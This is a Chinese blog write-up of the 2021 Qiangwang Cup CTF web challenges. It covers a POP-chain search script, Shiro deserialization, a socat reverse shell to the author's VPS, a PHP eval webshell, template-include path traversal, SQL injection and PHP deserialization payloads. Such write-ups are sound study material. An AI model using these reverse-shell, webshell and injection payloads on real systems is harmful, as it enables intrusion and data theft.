2021 强网杯 WEB wp
本文最后更新于 57 天前,其中的信息可能已经有所发展或是发生改变。

膜了,大手子们真强,学废了。

感谢学弟和研一师兄们带我,学弟师兄们真强,下次还躺平。

虽然大概率没有进线下,游戏体验还算是不错了,还是写一下wp,记录一下解题过程。

pop_master

第一天主要看的题,写exp最后容器过期了又重新写着实搞人心态。

构造POP链的题目,主要核心点:

  • 每个class和function名都是唯一的,虽然有9999个类,但是调用链在选定调用的function后只有一种class对应。
  • 大部分的方法只有一种调用链,只有用了method_exists会有分叉。
  • POP链构造:深度优先搜索,沿着每个方法走下去,直到遇到eval函数命令执行。
  • POP链剪枝:POP链中,如果传入的参数被替换(注意不是拼接,拼接可以通过注释来绕过),是不可以执行命令的,具体用正则表示就是含有=但不含有.

虽然写正则很搞人心态,但是题目整体的思路很清晰,直接撸脚本就可以了(写的正则很垃圾,随便看看就好)。

import os
import requests
import re
classPop = []
funcPop = []
array = []

def deleteIfAndFor(f):
    text = f.read()
    s = re.findall("(if\((\d+)>(\d+)\){([\w\W]+?)})", text)
    for i in s:
        if int(i[1]) < int(i[2]):
            text = text.replace(i[0], "")
        else:
            text = text.replace(i[0], i[3].strip())
    s = re.findall("(for\(\$i = 0; \$i < (\d+); \$i \+\+\){([\w\W]+?)})", text)
    for i in s:
        if int(i[1]) == 0:
            text = text.replace(i[0], "")
        else:
            text = text.replace(i[0], i[2].strip())
    with open("result.txt", "w") as g:
        g.write(text)

def search(key):
    # func 入栈
    funcPop.append(key)
    for i in array:
        if i.find("function " + key) != -1:
            # class入栈
            classPop.append(re.findall(r'class\s([a-zA-Z0-9_]{6})', i)[0])
            tmp = fr'public\sfunction\s{key}' + '\(\$[a-zA-Z0-9]{5}\)\{[\w\W]*?\}\n'
            # 提取调用方法
            func = re.findall(tmp, i)
            # 进行过滤,如果传入的参数被顶掉,直接返回
            tmp2 = fr'public\sfunction\s{key}' + '\(\$([a-zA-Z0-9]{5})\)\{[\w\W]*?\}\n'
            e = re.findall(tmp2, i)
            tmp3 = fr'{e[0]}\s*?=\s*?'
            if (re.findall(tmp3, func[0]).__len__() > 0) and (func[0].find(".") == -1):
                classPop.pop()
                return
            # 检测是否存在eval,如果存在则打印classPop
            if func[0].find('eval') != -1:
                print(classPop)
            # 提取调用链
            nextFunc = re.findall(r'\$this->[a-zA-Z0-9]{7}->([a-zA-Z0-9]{6})\(\$[a-zA-Z0-9]{5}\);', func[0])
            # 遍历所有func
            for j in nextFunc:
                search(j)
                # func 出栈
                funcPop.pop()
            # class 出栈
            classPop.pop()

if __name__ == "__main__":
    # f = open("./class.php", "r+")
    # deleteIfAndFor(f)
    # f.close()
    f = open("./result.txt", "r+")
    content = f.read()
    array = re.findall(r'class\s[a-zA-Z0-9_]+{[\w\W]*?}\n\n', content)
    search("lgeDXz")

跑出来的所有POP链都是可以用的,最后直接拿flag就行。

赌徒

题没看就被师兄秒了,就不放了,师兄真强

Hard_Penetration

第一天没做,学弟搞的,我就最后一天摸了点鱼,这题质量蛮高的,很喜欢。

用了 Apache Shiro 的反序列化漏洞,特征是用户信息会加密后存储在rememberMe的Cookie中。直接利用脚本打,我打完甚至不知道是哪个CVE,Java真难,下次还不学。

shiro-exploit

权限是ctf,还是要提权,/flag和/var/www/html都是读不了的,发现题目有socat,反弹shell。

# 靶机
socat tcp:ip:8888 exec:/bin/bash,pty,stderr,setsid
# VPS
socat - tcp-listen:8888,fork,reuseadd

弹完可以维持住shell,发现除了8888的Java服务,还有一个8005的PHP服务,而且是用www-data权限起的,但是不可访问,应该是没有暴露出端口。

骚操作,杀掉8888的javaweb进程,然后把8005的phpweb重新映射到8888端口,这个思路蛮有意思的,也是这题的精华点,后面的网站渗透反倒索然无味了。

ps -ef // 找javaweb进程
kill {pid} // 关闭javaweb服务
nohup socat tcp-listen:8888,fork,reuseaddr tcp:127.0.0.1:8005 & // 重新映射端口

tp3的web服务,交互页面很烦,有个没什么用的/admin,看了一圈没什么交互点,我的思路是既然有了ctf权限的shell,就去在低权限目录下写一个shell,然后用www-data权限的phpweb目录穿越+文件包含,达到提权目的。谷歌了一下这几个关键字,就找到了模板包含点。

但是穿越之后存在.html.html后缀,不可以直接读flag,就写一个1.html.html文件。

bash > echo <?php @eval($_POST['shell']);?> > 1.html.html

包含后蚁剑拿shell,读flag就可以了,由于包含了之后会被当做PHP直接执行,所以就算没有php后缀也没事。

wap/index/index?a=display&templateFile=../../../../../../../../../../../../../../tmp/1

寻宝

KEY1是几个有关PHP弱类型比较的考点,number3要爆破,只是很简单的md5,总体来说比较容易,队友的exp:

ppp[number1]=11111aaaa&ppp[number2]=2e10&ppp[number3]=xxxx&ppp[number4]=0e00001&ppp[number5]={ 'bar': 'baz' }

KEY2有119M的docx,其中有个文件里有flag

EasyWeb

很有意思的题,可惜就是不会做.jpg

/files 目录下可以拿到www.zip(假的)、hint.txt、exp.py

提示要扫描

nmap -p 35000-40000 IP

36842端口有WEB,有个登录框,SQL注入可以进

password=3&username=a'union select 1,2,3,4,5,6,7#

后面就没有思绪了。

WhereIsUWebShell

inde.php

<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){
        
        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

e2a7106f1cc8bb1e1318df70aa0a3540.php这个文件不能访问,可以利用PHP反序列化多一个对象PDO使得反序列化异常终止来绕过正则读取文件。

O:7:"myclass":2:{s:5:"class";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";};s:3:"jan";O:3:"pdo":0:{};}

e2a7106f1cc8bb1e1318df70aa0a3540.php

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['284d280c-86a9-49ca-a566-9b879162e331'])?$_GET['284d280c-86a9-49ca-a566-9b879162e331']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['4620030a-450f-4d1b-a258-461486ad44dc']);
if(isset($_GET['4620030a-450f-4d1b-a258-461486ad44dc'])&&$_GET['4620030a-450f-4d1b-a258-461486ad44dc']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

bff139fa05ac583f685a523ab3d110a0.php

<?php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>

45b963397aa40d4a0063e0d85e4fe7a1.php

<?php

function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

也是低权限,可读的文件只在/tmp和/var/www/html下,两个参数分别有文件包含和目录扫描。整理了一下思路,PNG()的调用$second的两个参数可控,$first和$file可控,猜测这里有写图片马和文件竞争,但是这里要求太严格了,$file和$first都找不到很好的写入方式来绕过图片创建这一个过程。

此外由于会检测file_exists,只能找已经存在的文件名,又要求图片,没有能绕过这里的思路。

而Genfiles看起来只是生成文件名而已,甚至没有写入文件的步骤。

由于这题是最后一小时看的来不及,就只有这些思路了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇